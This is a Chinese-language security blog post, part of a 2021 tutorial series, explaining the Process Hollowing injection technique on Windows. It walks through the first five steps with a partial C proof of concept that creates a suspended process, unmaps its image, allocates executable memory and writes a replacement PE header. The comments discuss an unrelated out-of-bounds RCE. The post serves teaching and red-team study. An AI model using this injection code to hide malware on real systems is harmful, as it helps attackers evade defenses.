iT邦幫忙

2021 iThome 鐵人賽

DAY 20
2
Security

現實主義勇者的 Windows 攻防記系列 第 20

【Day 20】薛丁格的 Process (上) - Process Hollowing

  • 分享至 

  • xImage
  •  

環境

  • Windows 10 21H1
  • Visual Studio 2019
  • PE-bear v0.4.0.3

介紹

Process Hollowing 跟【Day 06】致不滅的 DLL - DLL Injection 所介紹的 DLL Injection 都被 MITRE 歸類於 Process Injection 的範疇,也就是把自己的程式放到別的 Process 執行。

因為 Process Hollowing 是把一個合法的 Process 原本要執行的程式挖空,並替換成自己的程式,其中被替換掉的 Process 指向的檔案路徑仍然是原本的。雖然實際上執行的是惡意程式,但外表卻看起來正常。所以對於紅隊來說它的優點就是可以用來繞過一些防禦。

原理

以下原理是在 32-bit 情況,因為同樣的技巧,32-bit 可以在 64-bit 執行,反之卻不能。但是 64-bit 原理其實一樣,只是有些細節差異。

實作流程

  1. 建立一個 Suspended Process,它就是要被注入的目標 Process
  2. 讀取要注入的檔案
  3. Unmap 目標 Process 的記憶體
  4. 在目標 Process 申請一塊記憶體
  5. 把 Header 寫入目標 Process
  6. 把各 Section 根據它們的 RVA 寫入目標 Process
  7. Rebase Relocation Table,因為 Image Base 可能會不一樣
  8. 取出目標 Process 的 Context,把暫存器 EAX 改成我們注入的程式的 Entry Point
  9. 恢復執行原本狀態為 Suspended 的目標 Process

各步驟說明

在這一篇會說明前 5 個步驟,後 4 個會在下一篇繼續。

1. 建立一個 Suspended Process,它就是要被注入的目標 Process

使用 CreateProcessA 建立 Process,其中有個重點是第六個參數 dwCreationFlags 必須是 CREATE_SUSPENDED (0x4),因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改。下面可以看到 MSDN 對這個 Flag 的描述。

The primary thread of the new process is created in a suspended state, and does not run until the ResumeThread function is called.

所以說在我們建立了目標 Process,並且把它的記憶體竄改成我們自己的程式後,呼叫 ResumeThread 就可以讓它恢復執行。

有了目標 Process 的 Handle,就可以取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress。

2. 讀取要注入的檔案

使用 CreateFileA 取得目標檔案的 Handle,然後用 ReadFile 讀取檔案內容。

在這個步驟還需要取得 File HeaderOptional Header 的位址。會需要 File Header 是因為我們需要其中的 NumberOfSections 成員。會需要 Optional Header 則是因為我們需要其中的 SizeOfImage、ImageBase、SizeOfHeaders、IMAGE_DATA_DIRECTORY、AddressOfEntryPoint。需要它們的原因是等等要把每個 Header 和 Section 排到正確的位址。

File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的。

3. Unmap 目標 Process 的記憶體

從 ntdll.dll 中取出 NtUnmapViewOfSection 函數,Unmap 目標 Process 的 Image。

如果想要觀察這個函數實際上做了什麼,可以用 x32dbg 下斷點,然後用 Process Explorer 觀察目標 Process。

下圖左邊是我在 x32dbg 下斷點於執行 NtUnmapViewOfSection 之前,而右邊 Process Explorer 下方則是目標 Process 目前的 Image。

執行 NtUnmapViewOfSection 後原本的 Image 就消失了。

4. 在目標 Process 申請一塊記憶體

使用 VirtualAllocEx 向目標 Process 申請一塊記憶體,其中參數的設定很重要。hProcess 是目標 Process 的 Handle;lpAddress 是原本被 Unmap 的 Image 的 Base Address;dwSize 是我們要注入的檔案大小;flAllocationType 是 MEM_COMMIT | MEM_RESERVE;flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE。

LPVOID VirtualAllocEx(
  HANDLE hProcess,
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

5. 把 Header 寫入目標 Process

把我們的檔案 Header 寫入目標 Process,首先要注意的是 Image Base 的部分。由於 Image 載入後,因為 ASLR(Address Space Layout Randomization) 的緣故,Image Base 不一定相同。

所以在改 Optional Header 中的 ImageBase 成員之前,我們要先算出檔案的 Image Base 和目標 Process 的 Image Base 的距離。之後就可以把檔案的 Header 用 WriteProcessMemory 寫到目標 Process。

那檔案的 Header 是指什麼呢?打開 PE-bear 查看檔案,可以看到左邊有 DOS Headers、DOS stub、NT Headers 等等。簡單來說,現在要寫入目標 Process 的部分就是除了 Sections 之外的東西。

POC

POC 改自 m0n0ph1/Process-Hollowing,只有加入一些註解並把一些非必要的程式拔掉減少篇幅。完整的程式專案可以參考我的 GitHub zeze-zeze/2021iThome

void CreateHollowedProcess(char* pDestCmdLine, char* pSourceFile)
{
    // 1. 建立一個 Suspended Process,它就是要被注入的目標 Process
    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    // 第六個參數必須是 CREATE_SUSPENDED,因為需要它維持在初始狀態,讓我們能夠對其中的記憶體進行修改
    CreateProcessA
    (
        0,
        pDestCmdLine,		
        0, 
        0, 
        0, 
        CREATE_SUSPENDED, 
        0, 
        0, 
        pStartupInfo, 
        pProcessInfo
    );
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");

        return;
    }

    // 取得 PEB,裡面包含後面步驟需要用到的 ImageBaseAddress
    PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);


    // 2. 讀取要注入的檔案
    HANDLE hFile = CreateFileA
    (
        pSourceFile,
        GENERIC_READ, 
        0, 
        0, 
        OPEN_ALWAYS, 
        0, 
        0
    );
    if (hFile == INVALID_HANDLE_VALUE)
    {
        printf("Error opening %s\r\n", pSourceFile);
        return;
    }
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;
    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);

    // 取得 File Header 和 Optional Header
    // File Header 和 Optional Header 各是 NT Header 的其中一個成員,NT Header 則是從 DOS Header 算出來的
    PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
    PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);


    // 3. Unmap 目標 Process 的記憶體
    // 從 ntdll.dll 中取出 NtUnmapViewOfSection
    HMODULE hNTDLL = GetModuleHandleA("ntdll");
    FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
    _NtUnmapViewOfSection NtUnmapViewOfSection =
        (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
    DWORD dwResult = NtUnmapViewOfSection
    (
        pProcessInfo->hProcess, 
        pPEB->ImageBaseAddress
    );
    if (dwResult)
    {
        printf("Error unmapping section\r\n");
        return;
    }


    // 4. 在目標 Process 申請一塊記憶體
    // Process 是目標 Process 的 Handle
    // lpAddress 是原本被 Unmap 的 Image 的 Base Address
    // dwSize 是我們要注入的檔案大小
    // flAllocationType 是 MEM_COMMIT | MEM_RESERVE
    // flProtect 可以針對不同的記憶體區段去做配置,不過 POC 方便起見,直接用 PAGE_EXECUTE_READWRITE
    PVOID pRemoteImage = VirtualAllocEx
    (
        pProcessInfo->hProcess,
        pPEB->ImageBaseAddress,
        pSourceHeaders->OptionalHeader.SizeOfImage,
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    if (!pRemoteImage)
    {
        printf("VirtualAllocEx call failed\r\n");
        return;
    }


    // 5. 把 Header 寫入目標 Process
    // 在改 Optional Header 中的 ImageBase 成員之前,算出檔案的 Image Base 和目標 Process 的 Image Base 的距離
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;
    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;

    // 把我們的檔案 Header 寫入目標 Process
    if (!WriteProcessMemory
    (
        pProcessInfo->hProcess, 				
        pPEB->ImageBaseAddress, 
        pBuffer, 
        pSourceHeaders->OptionalHeader.SizeOfHeaders, 
        0
    ))
    {
        printf("Error writing process memory\r\n");
        return;
    }

參考資料


上一篇
【Day 19】Shellcode 與他的快樂夥伴 (下) - Shellcode Loader
下一篇
【Day 21】薛丁格的 Process (下) - Process Hollowing
系列文
現實主義勇者的 Windows 攻防記30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

2 則留言

1
虎虎
iT邦研究生 5 級 ‧ 2021-10-05 01:04:00

我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?

像說這樣的手法算不算呢? <剛好想到 HITCON 2018 神祕議程>
http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html

我簡述一下這個情境,360 技術在 Github 上找到 EoS 幣有使用弱點的開源套件,
其中是32-bits,發現可能有 Process Injection 的可能?還是算 Buffer overflow?
寫信給原廠,後來改成 32 bits ,然後 360 又來通報一次又沒改,打下去造成很大的損失。
我覺得是很好的例子啦,但我不確定手法對不對?
相關新聞:https://www.chainnews.com/zh-hant/articles/868498249729.htm

zeze iT邦新手 2 級 ‧ 2021-10-05 01:38:29 檢舉

我第一次聽 Process Hollowing,我能問問是不是比較邪惡去取代原有的程式,都叫Process Hollowing?

Process Hollowing 不是一個通用的名詞,而是特定一種注入技巧,就是照這篇(加下一篇)講的流程所做的行為才叫 Process Hollowing。

http://blogs.360.cn/post/eos-node-remote-code-execution-vulnerability.html
https://www.chainnews.com/zh-hant/articles/868498249729.htm

這兩個連結講的事件看起來跟 Process Hollowing 沒什麼關係,它是用 out-of-bound (存取分配的記憶體以外的記憶體) 漏洞造成的 RCE。舉例:

int table[10];

// 這邊 offset 如果沒有限制 0~9 就會有 out-of-bound
table[offset] = data;

Process Hollowing 則是把 Process 中原本要執行的程式直接改成我們自己要執行的程式 (嚴格來說是把整個 Image 換掉),這件事本身不算漏洞。

虎虎 iT邦研究生 5 級 ‧ 2021-10-05 08:40:02 檢舉

好的!因為我是第一次聽到 Q"Q
感謝清楚詳細的說明!

1
HackerCat
iT邦新手 2 級 ‧ 2021-10-07 22:48:28

讚讚讚~ 也是前陣子才聽到Process Hollowing
之後有時間要再來好好研究看看

我要留言

立即登入留言